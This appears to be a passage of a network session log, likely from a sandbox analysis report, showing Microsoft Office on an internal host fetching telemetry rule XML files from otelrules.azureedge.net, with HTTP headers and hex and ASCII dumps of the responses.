V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:00 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:01 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:01 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174601Z-r1cf579d778dc6d7hC1EWR2vs800000000k0000000003gg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:46:01 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:01 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:02 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:01 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174601Z-r1cf579d778t5c2lhC1EWRce3w00000000rg0000000047k1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:46:02 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:02 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:02 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 76609676-a01e-0070-74cc-45573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174602Z-1746fd949bd7wvgbhC1EWR0rgs00000004pg000000003xs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:02 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:02 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:02 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1a13e7cb-001e-0049-3bcd-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174602Z-1746fd949bdlqd7fhC1EWR6vt000000004kg00000000wcpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:03 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:03 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:03 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 88657856-001e-008d-2ccc-45d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174603Z-1746fd949bdzd2qvhC1EWRcygw000000048g00000000h3m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:03 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:03 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:03 UTC	495	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:03 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174603Z-r1cf579d778qlpkrhC1EWRpfc800000000r000000000519g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-06 17:46:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:03 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:04 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:04 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: c77b1400-401e-0048-71d2-450409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174604Z-1746fd949bdlqd7fhC1EWR6vt000000004kg00000000wcvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:04 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:04 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:05 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 4edcd523-801e-0047-60d3-457265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174605Z-1746fd949bdjzh7thC1EWR3g6400000004pg000000002e6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:05 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:04 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:07 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d3398a04-c01e-007a-0bce-45b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174607Z-1746fd949bdlqd7fhC1EWR6vt000000004p000000000kuqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:05 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:05 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 4ddf438b-c01e-0049-57cd-45ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174605Z-1746fd949bdtlp5chC1EWRq1v400000004cg00000000upkf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:05 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:05 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c8e56ad6-f01e-005d-13cc-4513ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174605Z-1746fd949bdhk6hphC1EWRaw3c000000048g00000000p990 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:06 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:06 UTC	495	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:06 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174606Z-r1cf579d7789trgthC1EWRkkfc00000000r00000000059c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
